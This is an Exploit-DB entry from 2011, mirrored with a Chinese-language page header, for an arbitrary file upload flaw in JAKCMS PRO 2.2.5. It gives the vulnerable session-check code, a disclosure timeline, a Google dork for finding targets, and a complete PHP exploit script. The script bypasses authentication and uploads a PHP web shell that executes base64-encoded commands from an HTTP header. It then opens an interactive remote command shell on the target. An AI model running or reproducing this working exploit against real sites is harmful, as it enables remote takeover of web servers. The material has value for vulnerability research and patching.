JAKCMS PRO 2.2.5 – Arbitrary File Upload

Exploit Database
109 阅读

作者： EgiX

日期： 2011-09-22
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17882/

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# Exploit Title: JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit

# Google Dork: "Powered By JAKCMS"

# Date: 21/09/2011

# Author: EgiX

# Software Link: http://www.jakcms.com/

# Version: 2.2.5

# Tested on: Windows 7 and Debian 6.0.2

<?php

--------------------------------------------------------

JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit

--------------------------------------------------------

author..........: EgiX

mail............: n0b0d13s[at]gmail[dot]com

software link...: http://www.jakcms.com/

This PoC was written for educational purpose. Use it at your own risk.

Author will be not responsible for any damage.

[-] vulnerable code in /js/editor/plugins/jakadminexplorer/php/session.php

119.if ($SESSION["check_session_variable"] != "") {

120.

121.// Session Starten

122.session_start();

123.

124.// Session-Variable überprüfen

125.if (!isset($_SESSION[$SESSION["check_session_variable"]])) {

126.include("error.php");

127.die;

128.}

129.}

This authentication schema could be bypassed due to an attacker might be able to start a session accessing to /index.php that set

for e.g. the "jak_lastURL" session variable, so could be set $SESSION["check_session_variable"] to bypass the check at line 125.

Successful exploitation allows attackers access to plugins functionality (see /js/editor/plugins/jakadminexplorer/php/action.php),

in this way an attacker could be able to "delete", "create", "rename" any folder/file into webserver or upload arbitrary files.

The same vulnerability afflicts also jakadminimage, jakusrexplorer and jakusrimage plugins.

[-] Disclosure timeline:

[15/09/2011] - Vulnerability discovered

[16/09/2011] - Issue reported to http://www.jakcms.com/tracker/t/61/security-flaw-imagefilemanager

[16/09/2011] - Vendor fix released in version 2.2.6

[21/09/2011] - Public disclosure

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

function RC4($data)

{

$key = "asvKHQFkoobdwdin4bi30xzb003ufkxS3Fu3HArhBnlIk5pr3D6OGSKvUbso1rtne42VekxwUmOtPgmcA1iYC6lrpWP7HXq6VdB8EnbzR0L8rIHMqSY8mIi0o3ROzZWe";

$s = range(0, 256);

$j = 0;

for ($i = 0; $i < 256; $i++)

{

$j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

}

$i = $j = 0;

$ct = "";

for ($y = 0; $y < strlen($data); $y++)

{

$i = ($i + 1) % 256;

$j = ($j + $s[$i]) % 256;

$x = $s[$i];

$s[$i] = $s[$j];

$s[$j] = $x;

$ct .= $data[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]);

}

return $ct;

}

print "\n+------------------------------------------------------------------+";

print "\n| JAKCMS PRO <= 2.2.5 Remote Arbitrary File Upload Exploit by EgiX |";

print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /jakcms/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$packet= "GET {$path} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

preg_match("/PHPSESSID=([^;]*);/i", http_send($host, $packet), $m);

$sid = $m[1];

$payload= "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"edit1\"\r\n\r\n.php\r\n";

$payload .= "--o0oOo0o\r\n";

$payload .= "Content-Disposition: form-data; name=\"input1\"; filename=\"foo\"\r\n\r\n";

$payload .= "<?php \${error_reporting(0)}.\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";

$payload .= "--o0oOo0o--\r\n";

$get = bin2hex(RC4("id=1&check_session_variable=jak_lastURL&upload_filetype=php&dir={$path}cache/sh"));

$packet= "POST {$path}js/editor/plugins/jakadminexplorer/?action=upload&get={$get} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: PHPSESSID={$sid}\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;

if (preg_match("/Error/", http_send($host, $packet))) die("\n[-] Upload failed!\n");

$packet= "GET {$path}cache/sh.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cmd: %s\r\n";

$packet .= "Connection: close\r\n\r\n";

while(1)

{

print "\njakcms-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");

}